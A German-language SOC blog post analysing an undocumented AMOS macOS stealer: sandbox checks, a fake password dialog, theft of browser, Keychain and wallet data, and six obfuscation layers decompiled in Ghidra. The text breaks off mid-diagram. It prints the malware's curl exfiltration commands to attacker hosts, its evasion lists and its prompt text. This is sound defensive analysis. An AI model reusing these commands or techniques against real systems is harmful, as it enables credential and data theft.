Anatomie eines unbekannten AMOS Stealers: Vom Alert zur Immunität in Stunden
Eine bisher undokumentierte AMOS-Stealer-Variante kompromittierte einen macOS-Endpoint. Keine bekannten Hashes, keine C2-Daten in öffentlichen Datenbanken. Unser SOC demontierte sechs Obfuskierungsschichten, extrahierte alle Indikatoren und verteilte den Schutz an alle SOC-Kunden innerhalb von Stunden, noch bevor die Branche das Sample überhaupt gesehen hatte.

Wenn in unserem SOC ein Alert ausgelöst wird, beginnt die Uhr zu laufen: nicht nur für den betroffenen Kunden, sondern für alle Organisationen unter unserem Schutz. Der gefährlichste Moment im modernen Bedrohungsumfeld ist die Intelligence Gap, das Zeitfenster zwischen dem ersten Einsatz einer neuen Malware-Variante und dem Tag, an dem die Branche davon erfährt.
Für eigenständige Security-Teams bedeutet diese Lücke extreme Verwundbarkeit: Man wartet auf ein Vendor-Update oder einen Signatur-Feed, der noch nicht geschrieben wurde. Für unsere Kunden schließt unsere intern entwickelte Shared Threat Intelligence genau dieses Fenster.
Dieser Beitrag ist eine technische Aufschlüsselung, wie wir eine bisher undokumentierte AMOS-Variante (Atomic macOS Stealer) zerlegten und wie aus einem einzigen kompromittierten Endpoint innerhalb weniger Stunden eine flächendeckende Erkennung und Blockierung für alle unsere Kundenumgebungen wurde.
Der Vorfall: Ein unbekanntes IOC-Szenario
Der Alert traf am 12. März 2026 um 06:25 Uhr Ortszeit ein: Ein macOS-Endpoint war kompromittiert worden. Als unser SOC mit der Analyse der Artefakte begann, standen wir vor einer Situation, die jeder Threat Analyst fürchtet: keine bekannten Datei-Hashes, keine C2-IP-Adressen, keine aussagekräftigen Verhaltenssignaturen in öffentlichen Datenbanken.
Die vollständige Angriffsarchitektur offenbarte sich erst in der Tiefenanalyse. Die Infektion basierte auf einer 15,7 MB großen macOS Universal Binary (x86_64 und ARM64), abgelegt unter /private/tmp/helper. Das Sample war auf dem kompromittierten System nicht direkt verfügbar; unser Team musste die Infektionskette rekonstruieren und die ursprüngliche Zustellanfrage simulieren, um die Binary manuell aus der Angreifer-Infrastruktur zu beziehen.
Stage 1: Sandbox-Prüfungen
Bevor der eigentliche Stealer auf dem Gerät ausgeführt wurde, hatte bereits ein AppleScript-Payload gelaufen. Jeder String darin, jeder Dateipfad, jeder Shell-Befehl, jede URL war über drei benutzerdefinierte arithmetische Funktionen kodiert:
on ipbgcjzgqa(a, b)
-- result[i] = chr(a[i] - b[i])
on kwcvvjininv(a, b)
-- result[i] = chr(a[i] + b[i])
on xqylheckjx(a, b, offset)
-- result[i] = chr(a[i] - b[i] - offset)
Kein einziger String erscheint im Klartext. Was auf den ersten Blick wie bedeutungslose Integer-Arrays aussah, entpuppte sich nach Umkehrung des Kodierungsschemas als vollständiges, einsatzbereites Datendiebstahl- und Exfiltrationsframework.
Wir dekodierten jeden Array im Skript statisch. Die Ergebnisse waren eindeutig:
Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"
Die Download-URL imitiert bewusst ein legitimes n8n-Workflow-Automation-Update, ein Tool, das bei Entwicklern und DevOps-Ingenieuren weit verbreitet ist. Das ist kein Zufall: Die Kampagne zielt auf technisch versierte Nutzer, nicht auf gewöhnliche Endnutzer, die gecrackte Software installieren.
Der Anti-Sandbox-Check
Vor dem Download führte das Skript eine dedizierte VM- und Sandbox-Erkennungsroutine aus. Aus den Incident-Artefakten konnten wir zusätzlich ein eigenständiges Anti-Sandbox-Skript wiederherstellen:
set urgufr to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"
Die Ergebnisse prüfte das Skript dann gegen zwei Listen. Die erste suchte nach Virtualisierungsmarkierungen in den Speicherdaten:
"QEMU" "VMware" "KVM"
Die zweite prüfte Hardware-Identifikatoren gegen eine Liste bekannter Seriennummern von Analysemaschinen:
"Z31FHXYQ0J" -- known sandbox machine serial
"C07T508TG1J2" -- known sandbox machine serial
"C02TM2ZBHX87" -- known sandbox machine serial
"Chip: Unknown" -- emulation indicator
"Intel Core 2" -- legacy/VM indicator
Bei einer Übereinstimmung: exit 100, vollständiger Abbruch. Auf einem echten MacBook Pro mit Apple Silicon bestanden alle Prüfungen lautlos, und die Ausführung fuhr fort. Eine Sandbox-Evasionstechnik auf professionellem Niveau, die ablief, bevor ein einziges Byte der Binary heruntergeladen war.
Einfach, aber wirkungsvoll: Die gefälschte Passwortabfrage
Das dekodierte Skript enthielt auch den Dialog für die Privilegienerweiterung via Social Engineering:
Title: "Application wants to install helper"
Prompt: "Required Application Helper. Please enter device
password to continue."
Button: "Continue"
Der Dialog erscheint über einen Standard-macOS-display dialog-Aufruf mit with hidden answer und ist optisch nicht von einer echten macOS-Autorisierungsabfrage zu unterscheiden. Das eingegebene Passwort nutzte das Skript, um login -pf <username> aufzurufen und den Prozess auf Root-Rechte zu heben, noch bevor die Binary ausgeführt wurde.
Was das Skript gesammelt hat
Sobald die Binary ausgeführt war, setzte das osascript seinen eigenen Sammlungsablauf fort und griff jede Kategorie sensibler Systemdaten ab. Wir dekodierten alle Sammlungspfade und Ziele:
Browser-Daten (alle Chromium-Browser + Safari):
/Login Data /Cookies /Web Data
/Local Extension Settings/ /IndexedDB/ /Local Storage/leveldb/
macOS Keychain:
~/Library/Keychains/login.keychain-db -- accessed directly via cat
Apple Notes
Vollständiger Inhalt als HTML mit Zähler-Header exportiert
Lokale Dateien
Desktop und Dokumente, bis zu 30 MB, mit Fokus auf:
pdf doc docx xls xlsx ppt pptx txt rtf
key p12 pem cert pfx sql db sqlite
json xml yaml conf env csv
Kryptowährungs-Wallets
Eine hartcodierte Liste von mehr als 200 Browser-Extension-IDs, die alle gängigen Wallets abdeckt, darunter MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI und Exodus.
Nach der Sammlung wurden alle Daten in einem zufällig benannten temporären Verzeichnis gebündelt und exfiltriert:
ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
-H "user: <uuid>" -H "BuildID: <hw_profile>" \
-F "file=@/tmp/out.zip" laislivon[.]com/contact
Die Bereinigung folgte unmittelbar:
rm -r <staging_dir>
rm /tmp/out.zip
Stage 2: Reverse Engineering der 'helper' Binary
Die helper-Binary ist der Teil, in dem diese Analyse wirklich in die Tiefe geht. Es handelt sich um ein professionell obfuskiertes macOS-Executable, das statische Analyse systematisch erschwert und den größten Reverse-Engineering-Aufwand dieser Untersuchung verursachte.
Die gesamte Analyse wurde mit Ghidra und unserem benutzerdefinierten ARM64-Analyse-Workflow durchgeführt.
Dateieigenschaften
Es beginnt vor main()
Das erste, was wir in Ghidra feststellten: Diese Binary verhält sich nicht wie ein normales Executable. Der eigentliche Einstiegspunkt ist nicht main(), sondern eine Funktion, die in __mod_init_func registriert ist, einem macOS-Mechanismus, der den Dynamic Linker (dyld) anweist, bestimmte Funktionen beim Laden der Binary automatisch auszuführen, noch bevor nutzbarer Code läuft.
Die Init-Funktion bei 0x10009f384 ist der eigentliche Einstiegspunkt der Malware. Hier die Ghidra-Dekompilierung:
// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void)
{
int iVar1;
// Anti-sandbox delay: usleep(0x37e) = 894 microseconds
iVar1 = _usleep(0x37e);
// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools
(*(code *)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4
+ 0x10009f440))(iVar1);
return;
}
Zwei Dinge stechen sofort heraus. Erstens das 894-Mikrosekunden-usleep beim Start: ein Anti-Sandbox-Timing-Signal. Schwerwiegender ist die indirekte Sprungtabelle bei 0x10009f43c. Das ist ein berechneter Branch, bei dem die Zieladresse zur Laufzeit aus einer Lookup-Tabelle ermittelt wird. Statische Analysetools können den Control-Flow-Graphen nicht rekonstruieren; Ghidra protokollierte mehrere "unreachable block"-Warnungen beim Versuch, den Ausführungspfad zu verfolgen. Das ist so beabsichtigt.
Die Sprungtabelle treibt eine 14-Zustands-Ausführungsmaschine an. Jeder Zustand führt einen einzelnen diskreten Schritt der Entschlüsselungs- und Ausführungspipeline durch. Der Zustandszähler wird nach jedem Schritt aktualisiert, und die Maschine läuft, bis alle Zustände durchlaufen sind.
Der ARM64 Disassembly des State Dispatchers
10009f3fc: stp xzr,xzr,[sp, #0x48]
10009f41c: mov w0,#0x37e
10009f420: bl 0x1000a0fa8 ; _usleep(0x37e) — 894µs anti-sandbox
10009f424: cmp w25,#0xd ; state counter < 14?
10009f428: b.hi 0x10009fd44 ; exit if done
10009f42c: mov w8,w25 ; current state index
10009f430: adr x9,0x10009f440 ; base of jump table
10009f434: ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438: add x9,x9,x10, LSL #0x2 ; compute target address
10009f43c: br x9 ; indirect branch, CFG broken here
Sechs gestapelte Obfuskierungsschichten
Die Binary verwendet sechs verschiedene Obfuskierungsschichten, gestapelt und verkettet, sodass die Ausgabe jeder Schicht in die nächste eingespeist wird. Jeder Payload, jeder String, jede interne Konstante ist kodiert. Im __const-Segment erscheint nichts Bedeutungsvolles im Klartext. Was folgt, ist eine vollständige schichtweise Aufschlüsselung, direkt in Ghidra verifiziert, bis hinunter zu einzelnen ARM64-Instruktionen. Jede der verwendeten Techniken ist für sich allein bekannt; ihre verkettete Anwendung über mehrere Stufen schuf jedoch einen stark voneinander abhängigen Ausführungsfluss, der die statische und dynamische Analyse erheblich erschwerte.
Layer 1: Compile-Time-Triplet-Kodierung
Kein String in der Binary ist als Zeichenfolge gespeichert, sondern als Sequenz von 12-Byte-Arithmetik-Triplets. Jedes Triplet (a, b, shift) kodiert genau ein Ausgabezeichen. Das Kodierungsschema wird zur Kompilierzeit angewendet, sodass kein String jemals als Klartext in der Binary existiert, nicht einmal vorübergehend beim Laden.
Zwei separate Decoder-Funktionen behandeln unterschiedliche String-Größen. FUN_100087c08 bei 0x100087c08 dekodiert 60-Zeichen-Strings (720 Byte Eingabedaten aus DAT_1006292cc). FUN_10007ad80 bei 0x10007ad80 dekodiert 56-Zeichen-Strings (672 Byte aus DAT_10049708c). Beide verwenden denselben Algorithmus.
// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1)
{
long *plVar1;
void *pvVar2;
long lVar3;
uint *puVar4;
pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer
lVar3 = 0;
puVar4 = (uint *)((long)pvVar2 + 8);
do {
plVar1 = (long *)*param_1;
if (-1 < *(char *)((long)param_1 + 0x17)) {
plVar1 = param_1;
}
// THE DECODE FORMULA, one character per triplet:
// char = ((b * 3) XOR a) >> shift) - b
*(char *)((long)plVar1 + lVar3) =
(char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f))
- (char)puVar4-1;
lVar3 = lVar3 + 1;
puVar4 = puVar4 + 3; // advance 12 bytes — next triplet
} while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2);
return;
}
Der entsprechende ARM64-Assembly, wobei jede Instruktion direkt einer Operation in der Formel entspricht:
100087c48: add x9,x20,#0x8
100087c4c: ldp w10,w11,[x9, #-0x8] ; load a → w10, b → w11
100087c50: add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
; (compiler avoids MUL instruction)
100087c54: eor w10,w12,w10 ; w10 = (b*3) XOR a
100087c58: ldr w12,[x9], #0xc ; w12 = shift value; post-increment by 12
100087c5c: asr w10,w10,w12 ; arithmetic right shift — sign bit preserved
100087c60: sub w10,w10,w11 ; subtract b — final decoded character
100087c74: strb w10,[x11, x8, LSL ] ; store one byte to output buffer
100087c78: add x8,x8,#0x1
100087c7c: cmp x8,#0x3c ; loop counter vs. 60
100087c80: b.ne 0x100087c4c ; continue until all 60 chars decoded
Bemerkenswert: Die Multiplikation b × 3 ist als add w12, w11, w11, LSL #1 implementiert, ein Shift-and-Add, der eine Multiplikationsinstruktion vollständig vermeidet. Das ist eine klassische Compiler-Optimierung, die den Code zugleich schwerer per Signatur-Matching auffindbar macht.
Die vollständige Dekodierungsformel:
char = ASR( (b × 3) XOR a, shift ) − b
Der ASR (Arithmetic Shift Right) ist entscheidend: Er bewahrt das Vorzeichenbit. Wenn das Zwischenergebnis von (b×3) XOR a negativ ist, was häufig vorkommt, würde ein logischer Shift ein völlig anderes Ergebnis liefern. Das ist beabsichtigt: Wer die Formel in einer höheren Programmiersprache mit >> nachimplementiert, erhält stillschweigend falsche Ausgaben, sofern die vorzeichenbehaftete Arithmetik nicht explizit berücksichtigt wird.
Die 56-Zeichen-Variante FUN_10007ad80 ist strukturell identisch, arbeitet auf DAT_10049708c mit einem Loop-Limit von 0x38. Beide Funktionen wurden während dieser Analyse live in Ghidra bestätigt.
Layer 2: Hex-String-Kodierung
Die von Layer 1 erzeugten Rohbytes sind selbst ASCII-Hex-Zeichen, keine Binärdaten. Die Ausgabe eines Layer-1-Triplet-Decodes ist ein String aus Hex-Paaren: 32694e5462.... Das wird durch die Decoder-Funktion FUN_100000dc0 bei 0x100000dc0 bestätigt, die einen Hex-Decode über eine Lookup-Tabelle bei DAT_1007bb591 implementiert.
Der Ghidra-Decompile zeigt eine Switch-Anweisung, die jedes Hex-Zeichen (0x30-0x39, 0x41-0x46, 0x61-0x66) auf seinen Nibble-Wert abbildet und Ausgabebytes jeweils zwei Zeichen auf einmal zusammensetzt:
// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) {
case 0x30: break; // '0' → 0x00
case 0x31: bVar9 = 0x10; break; // '1' → 0x10
case 0x32: bVar9 = 0x20; break; // '2' → 0x20
// ... '3' through '9' ...
case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0
case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0
case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0
case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0
case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0
case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0
}
// Second nibble from lookup table at DAT_1007bb591
*(byte *)((long)pppppppuVar3 + uVar8) =
(&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;
Der ARM64-Assembly treibt dies mit einer sekundären Computed-Branch-Tabelle an und implementiert so faktisch eine 55-Einträge-Sprungtabelle für den Switch:
100000e5c: adr x17,0x100000e6c ; base of case-dispatch table
100000e60: ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64: add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68: br x17 ; jump — second computed branch in 24 bytes
Zwei berechnete Branches in einem 24-Byte-Fenster. Statische Analysetools kommen mit diesem Muster nicht zurecht, weil beide Branch-Ziele zur Analysezeit unbekannt sind.
Ein 137.208 Zeichen langer Hex-String ergibt nach der Dekodierung 68.604 Byte, die dann in Layer 3 eingespeist werden.
Layer 3: Benutzerdefiniertes 16-Symbol-Nibble-Alphabet
Die 68.604 Ausgabebytes aus Layer 2 verwenden nur 16 eindeutige Bytewerte aus zwei nicht zusammenhängenden ASCII-Bereichen:
0x20-0x2F: Leerzeichen,!,",#,$,%,&,',(,),*,+,,,-,.,/0x78-0x7F:x,y,z,{,|,},~, DEL
Das ist eine bewusste Designentscheidung. In einem Hex-Editor sehen diese Bytes aus wie Leerzeichen, Satzzeichen und ASCII-Randzeichen; sie verschwimmen im Rauschen dessen, was wie Metadaten oder Padding wirkt. Ein Analyst, der einen Hex-Dump überfliegt, wird diese Bytebereiche nicht als verdächtig markieren, und Standard-Entropieanalysen unterschätzen die effektive Entropie, weil die Byteverteilung nicht zufällig erscheint.
Jedes Byte aus diesem Alphabet kodiert ein Nibble des eigentlichen Payloads. Die Alphabet-zu-Nibble-Zuordnung wird von der Encode-/Decode-Funktion FUN_100000d60 angewendet, die wir bei 0x100000d60 bestätigten. Sie verkettet zwei Sub-Funktionen: FUN_100000b50 erstellt eine indizierte Map der Zeichen des Eingabe-Strings, und FUN_100000c34 durchläuft diese Map, verbraucht 6 Bit pro Schritt und akkumuliert Ausgabebytes 8 Bit auf einmal:
// FUN_100000c34 @ 0x100000c34, nibble accumulator
iVar5 = 0;
do {
local_52 = *(undefined1 *)puVar4;
lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value
if (lVar3 == 0) {
// character not in alphabet, treat as raw
FUN_1000a078c(param_3, &local_51);
} else {
iVar5 = iVar5 + 4; // accumulate 4 bits
while (7 < iVar5) {
std::string::push_back((char)param_1); // emit byte when 8+ bits ready
iVar5 = iVar5 + -8;
}
}
puVar4 = (undefined8 *)((long)puVar4 + 1);
} while (puVar4 != puVar1);
Die 34.302 Byte, die aus diesem Durchlauf hervorgehen, sind zu 99,7% druckbares ASCII. Auf den ersten flüchtigen Blick sieht der Payload in dieser Stufe aus wie ein großes Shell-Skript oder ein Konfigurations-Blob.
Layer 4: Compile-Time-String-Obfuskierung
Intern genutzte Strings werden zur Kompilierzeit mit demselben Triplet-Schema wie Layer 1 obfuskiert und zur Laufzeit unmittelbar vor ihrer Verwendung rekonstruiert. Im Speicher halten sie sich nie länger als nötig auf; der Buffer wird nach dem Verbrauch sofort freigegeben. In den statischen Datensektionen der Binary ist zu keinem Zeitpunkt ein dekodierter String sichtbar.
Die String-Hash-Funktion FUN_100000730 liefert eine sekundäre Obfuskierungsschicht für String-Vergleiche. Statt Strings direkt zu vergleichen, was Klartext im Speicher hinterlassen würde, berechnet und vergleicht die Binary Integer-Hashes:
// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1)
{
int iVar4 = 0x19a8; // FNV offset basis (modified)
// ...
for (; uVar3 != 0; uVar3 = uVar3 - 1) {
iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply
pcVar1 = pcVar1 + 1;
}
return iVar4;
}
Der ARM64-Assembly ersetzt die Multiplikation durch ein Fused Multiply-Add:
100000744: mov w0,#0x19a8 ; FNV basis
100000750: mov w10,#0xe41d
100000754: movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758: ldrsb w11,[x8], #0x1 ; load char, post-increment
10000075c: madd w0,w0,w10,w11 ; w0 = w0 * 0x8046e41d + char
100000760: subs x9,x9,#0x1
100000764: b.ne 0x100000758
Das bedeutet, dass selbst ein Vergleich zweier Strings innerhalb der Binary keinen Branch erzeugt, den ein Debugger sauber auf String-Ebene abfangen kann, sondern nur auf Hash-Ebene.
Layer 5: Duale Custom-Stream-Cipher-Instanzen
An dieser Stelle wird die Obfuskierungsarchitektur ungewöhnlich. In der Binary laufen nicht eine, sondern zwei separate Cipher-Instanzen, jede mit einer anderen hartcodierten Lookup-Tabelle und einem anderen Startzähler. Beide verwenden dieselbe Algorithmusstruktur, erzeugen aber unterschiedliche Ausgabe-Alphabete für verschiedene Teile der Payload-Pipeline.
Instanz A, FUN_10007ab34 bei 0x10007ab34:
// Instance A, start counter 0x4c, table @ 0x100496f8b
uVar6 = 0x4c;
do {
bVar2 = *(byte *)((long)local_e0 +
((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff));
*(byte *)((long)plVar1 + uVar5) = bVar2;
uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output)
uVar5 = uVar5 + 1;
} while (uVar7 != uVar5);
Instanz B, FUN_10007a7e0 bei 0x10007a7e0:
// Instance B, start counter 0x9f, different table @ 0x100496e0a region
uVar6 = 0x9f;
do {
bVar2 = *(byte *)((long)local_c0 +
((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff));
*(byte *)((long)plVar1 + uVar5) = bVar2;
uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula
uVar5 = uVar5 + 1;
} while (uVar7 != uVar5);
Der Algorithmus ist strukturell identisch, aber der Startzähler unterscheidet sich (0x4c vs. 0x9f) und die Lookup-Tabellen liegen an verschiedenen Speicheradressen. Instanz A wird aus Zustand 11 der Zustandsmaschine aufgerufen, um das Kodierungsalphabet für den ersten Payload-Pfad zu erzeugen. Instanz B wird aus Zustand 6 aufgerufen, um das Alphabet für den Decode des großen Shell-Skript-Payloads zu erzeugen.
Präzise formuliert: Es handelt sich um eine Substitutionschiffre mit zählerabhängigem Index. Jedes Ausgabebyte ist ein Tabellen-Lookup, bei dem der Index (input_byte XOR counter) & 0xFF ist. Der Zähler aktualisiert sich nach jedem Byte als counter = (i + (counter XOR output)) & 0xFF, was bedeutet, dass jedes Ausgabebyte die Bestimmung des nächsten Lookup-Index beeinflusst. Das erzeugt eine Abhängigkeitskette über die gesamte Ausgabesequenz: Byte N lässt sich nicht entschlüsseln, ohne die Bytes 0 bis N-1 korrekt entschlüsselt zu haben. Partielle Entschlüsselung oder Fehleranalyse werden dadurch erheblich schwieriger.
Keine der Instanzen ist Standard-RC4. Es gibt keine S-Box-Initialisierungsphase, keine S-Box-Swap-Operation. Die Lookup-Tabellen sind statische, zur Kompilierzeit eingebettete Konstanten.
Layer 6: Runtime-XOR mit Exit-Code-abhängigem Schlüssel
Die letzte und analytisch anspruchsvollste Schicht wendet eine In-Place-XOR-Transformation auf den Stage-2-Payload an. Der XOR-Schlüssel ist nicht hartcodiert, sondern wird zur Laufzeit aus dem Exit-Code der ersten Shell-Payload-Ausführung abgeleitet, und ist damit durch statische Analyse prinzipiell nicht bestimmbar. Die Binary muss tatsächlich ausgeführt werden und das erste Shell-Skript bis zum Ende laufen, bevor der Schlüssel überhaupt existiert.
Die Schlüsselableitungssequenz im ARM64-State-Machine-Dispatcher:
; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838: ubfx w8,w0,#0x8,#0x8 ; extract bits [15:8] of exit status
10009f83c: mov w9,#0x7f0 ; multiplier constant
10009f840: madd w8,w8,w9,w26 ; key = (exit_byte × 0x7f0) + base_counter
10009f844: and w24,w8,#0xffff ; mask to 16-bit key → stored in w24
Der XOR-Loop, der den Stage-2-Payload verarbeitet:
; In-place XOR, every byte of the payload is XORed with w24
10009fc34: ldrb w10,[x8, x9, LSL ] ; load payload byte
10009fc48: eor w10,w10,w24 ; XOR with key
10009fc4c: strb w10,[x8, x9, LSL ] ; write decrypted byte in place
Der Schlüssel ist ein 16-Bit-Wert, der aus dem Exit-Status-Byte des ersten Shell-Payloads abgeleitet, mit 0x7f0 multipliziert und zum aktuellen Wert des Basiszählerregisters w26 der Zustandsmaschine addiert wird. Die Multiplikationskonstante 0x7f0 bewirkt, dass ein Einzelbit-Unterschied im Exit-Code einen völlig anderen Schlüssel erzeugt. Es gibt keine ausnutzbare Kontinuität zwischen benachbarten Schlüsselwerten.
Ohne die Binary in einer kontrollierten Umgebung auszuführen und den genauen Exit-Code des ersten Shell-Payloads aufzuzeichnen, bleibt der Stage-2-Payload für die statische Analyse dauerhaft undurchsichtig. Das war die schwierigste Hürde der gesamten Analyse.
Shell-Ausführung: Pipes statt Argumente, und SIMD-XOR
Die Shell-Ausführungsfunktion FUN_10000091c bei 0x10000091c ist die architektonisch interessanteste Komponente der Binary. Hier läuft alles zusammen: der dekodierte Payload, der obfuskierte Befehlsname und das explizite Anti-Forensik-Design. Jede Designentscheidung in dieser Funktion verfolgt einen spezifischen Evasionszweck.
Schritt 1: Der Befehlsname erscheint nie im Klartext
/bin/zsh existiert nirgendwo in der Binary als Klartext. Im __cstring-Abschnitt bei 0x1007bb5c8 liegt der String als obfuskierte Bytes \x01LG@\x01T]F. Die Dekodierung erfolgt zur Laufzeit über eine einzelne XOR-Operation, direkt im ARM64-Assembly verifizierbar:
; FUN_10000091c — command name decode via SIMD XOR
100000960: adrp x8,0x1007bb000
100000964: add x8,x8,#0x5c8 ; x8 → "\x01LG@\x01T]F" in __cstring
100000968: ldr x8,[x8] ; load 8 obfuscated bytes as uint64
10000096c: str x8,[sp, #0x20]
100000970: strb wzr,[sp, #0x28] ; null terminator
100000974: ldr d0,[sp, #0x20] ; load into SIMD register d0
100000978: movi v1.8B,#0x2e ; broadcast 0x2e to all 8 lanes of v1
10000097c: eor v0.8B,v0.8B,v1.8B ; XOR all 8 bytes simultaneously
100000980: str d0,[sp, #0x20] ; store decoded "/bin/zsh"
100000988: mov w8,#0x732d ; 0x732d = "-s" (little-endian)
10000098c: strh w8,[sp, #0x4] ; store argument string
Der XOR-Schlüssel ist 0x2e, der ASCII-Wert von . (Punkt). Die Dekodierung geschieht in einer einzigen eor v0.8B, v0.8B, v1.8B-Instruktion, einem ARM64-NEON-Vektorbefehl, der alle 8 Bytes gleichzeitig XOR-verknüpft. Eine SIMD-Instruktion für einen einfachen 8-Byte-Decode zu verwenden ist ungewöhnlich und hat zwei Effekte: schneller als eine Byte-für-Byte-Schleife, und das erzeugte Instruktionsmuster unterscheidet sich grundlegend von skalaren Decode-Schleifen, auf die Signatur-Matching-Tools trainiert sind.
Die Verifikation ist einfach: 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, was in den ersten vier Bytes /bin ergibt.
Schritt 2: Die Pipe-Architektur
Nach dem Dekodieren des Befehlsnamens legt die Funktion eine OS-Pipe an und forkt:
100000990: bl 0x1000a0f6c ; _fork()
100000994: mov x20,x0 ; save PID
100000998: cbz w0,0x100000b00 ; if child: jump to exec path
Im Child-Prozess:
; Child process path
100000b0c: mov w1,#0x0
100000b10: bl 0x1000a0f48 ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c: add x0,sp,#0x20 ; argv[0] = "/bin/zsh"
100000b30: add x1,sp,#0x8 ; argv array
100000b34: bl 0x1000a0f60 ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
Der Child-Prozess ersetzt seinen Standard-Input durch das Lese-Ende der Pipe und startet /bin/zsh -s. Im -s-Modus liest die Shell Befehle von stdin. Für Process-Monitoring-Tools erscheint dieser Prozess als /bin/zsh -s ohne Argumente, nicht zu unterscheiden von einer legitimen interaktiven Shell-Session.
Schritt 3: Chunk-Writes variabler Größe
Der Parent-Prozess schreibt den entschlüsselten Payload in bewusst variierenden Chunk-Größen an das Schreib-Ende der Pipe:
; Parent: compute chunk size then write
1000009d4: umulh x8,x23,x24 ; high-half multiply for modulo
1000009d8: lsr x8,x8,#0x7
1000009dc: msub x8,x8,x25,x23 ; x8 = length % 0xc0
1000009e0: add x8,x8,#0x40 ; chunk = (length % 192) + 64
; range: 64 to 255 bytes per write
1000009e4: cmp x8,x23 ; clamp to remaining length
1000009e8: csel x2,x8,x23,cc
1000009ec: ldr w0,[sp, #0x34] ; pipe write fd
1000009f0: mov x1,x21 ; payload pointer
1000009f4: bl 0x1000a0fc0 ; _write(fd, buf, chunk_size)
100000a04: mov w0,#0x1
100000a08: bl 0x1000a0fa8 ; _usleep(1), 1µs between chunks
100000a0c: add x21,x21,x22 ; advance pointer
100000a10: sub x23,x23,x22 ; reduce remaining count
100000a14: cbnz x23,0x1000009d4 ; loop until done
Die Chunk-Größenformel (remaining_length % 192) + 64 erzeugt Werte zwischen 64 und 255 Byte pro Write-Aufruf, abhängig von der verbleibenden Payload-Länge. Das variable Write-Muster ist in Kernel-Event-Tracing-Tools wie ktrace oder dtrace sichtbar, erzeugt aber keine erkennbare Festgröße-Signatur. Jede Ausführung desselben Payloads produziert eine andere Sequenz von write()-Syscall-Größen.
Das 1-Mikrosekunden-usleep zwischen den Chunks verfolgt einen zweiten Zweck: Es gibt die CPU zwischen den Schreibvorgängen frei, hält die CPU-Auslastung flach und vermeidet eine plötzliche Spitze, die eine verhaltensbasierte EDR-Regel als anomales Burst-I/O markieren könnte.
Schritt 4: Sofortige Speicherbereinigung
; After all chunks written and pipe closed:
100000a20: ldrb w8,[x19, #0x17] ; check string storage type
100000a24: sxtb w9,w8
100000a28: ldp x10,x11,[x19]
100000a30: csel x0,x10,x19,lt ; pointer to payload buffer
100000a34: csel x1,x11,x8,lt ; length of buffer
100000a38: bl 0x1000a0f30 ; _bzero(payload_buf, length)
Der _bzero()-Aufruf nullt den gesamten entschlüsselten Payload-Buffer unmittelbar nach dem letzten Schreibvorgang in die Pipe. Kein Zeitfenster, nicht einmal eine Mikrosekunde, in der der entschlüsselte Payload nach Abschluss der Ausführung noch im Speicher läge. Ein Live-Memory-Dump, der direkt nach Rückkehr dieser Funktion erstellt wird, findet nur Nullen, wo der Payload war.
Das wird als Zero-after-use bezeichnet, dieselbe Technik, die hochsichere kryptografische Bibliotheken einsetzen, damit Schlüsselmaterial nicht im Speicher verbleibt. Dass diese Technik in Commodity-Malware auftaucht, ist ungewöhnlich und lässt auf einen Entwickler mit Security-Engineering-Hintergrund schließen.
Die vollständige Ausführungssequenz:
__cstring: "\x01LG@\x01T]F" (7 bytes, obfuscated)
↓ SIMD XOR with 0x2e (8-wide vector)
stack: "/bin/zsh\0" (decoded in-place, stack only)
↓ _pipe() creates fd pair [read=local_60, write=local_5c]
↓ _fork()
│
├─ CHILD: _dup2(local_60, 0) stdin = pipe read end
│ _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
│ → /bin/zsh reads commands from stdin (= pipe)
│
